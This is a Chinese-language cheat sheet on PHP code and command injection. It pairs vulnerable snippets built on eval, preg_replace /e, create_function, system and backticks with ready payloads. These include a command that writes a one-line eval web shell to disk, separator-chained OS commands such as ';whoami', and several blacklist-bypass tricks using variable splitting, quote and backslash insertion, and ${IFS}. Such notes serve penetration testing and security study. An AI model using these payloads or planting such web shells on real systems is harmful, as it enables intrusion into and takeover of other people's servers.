PHP敏感函数代码执行
eval:
<?php @eval($_GET["arg"])?>
eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell
fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>');
preg_replace:(5.5版本以上已废弃/e修饰符)
<?php
preg_replace("//e",$_GET['arg'],"start testing...");
?>
当replacement 参数构成一个合理的php代码字符串的时候,/e 修正符将参数当做php代码执行
create_function:
<?php
$test=$_GET["test"];
$new_func=create_function('$a,$b', $test);
$new_func(2,M_E);
?>
在php 中使用create_function创建一个匿名函数(lambda-style) 如未对参数进行严格的过滤审查,可以通过提交特殊字符串给create_function执行任意代码.
使用${${ }}简单绕过:
<?php
$str="echo \"Hello ".$_GET["arg"]."!!\"; ";
eval($str);
?>
代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的 payload:arg=${${phpinfo()}}
PHP程序执行函数
最简单的例子:
<?php $test = $_GET['cmd']; system($test); ?>
payload:?cmd=whoami
这样即可执行系统命令
举一个类似DVWA里边的例子:
<?php
$test = $_GET['cmd'];
system("ping -c 3 " . $test);
?>
payload:?cmd=127.0.0.1;whoami
命令分隔符: 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的
在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的
PHP 支持一个执行运算符:反引号(``) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
<?php echo `whoami`;?>
效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中
命令执行绕过技巧
黑名单绕过
<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>
执行ls命令: a=l;b=s;$a$b payload:?cmd=./%27;a=l;b=s;$a$b;%27
cat 1.php文件内容: a=c;b=at;c=1.php;$a$b ${c} payload:?cmd=./%27;a=c;b=at;c=1.php;$a$b${IFS}$c;%27
单引号、双引号 c""at flag c""at fl""ag c""at fl''ag payload:?cmd=./%27;c''at${IFS}fl""ag;%27
反斜线 c\at fl\ag ?cmd=./%27;c\at${IFS}fl\ag;%27
绕过空格 ${IFS}、$IFS、$IFS$9 或者在读取文件的时候利用重定向符 < ?cmd=./';a=c;b=at;c=1.php;$a$b<$c;'
安全客的一篇命令绕过 https://www.anquanke.com/post/id/84920
相关的漏洞
bash破壳
strcut java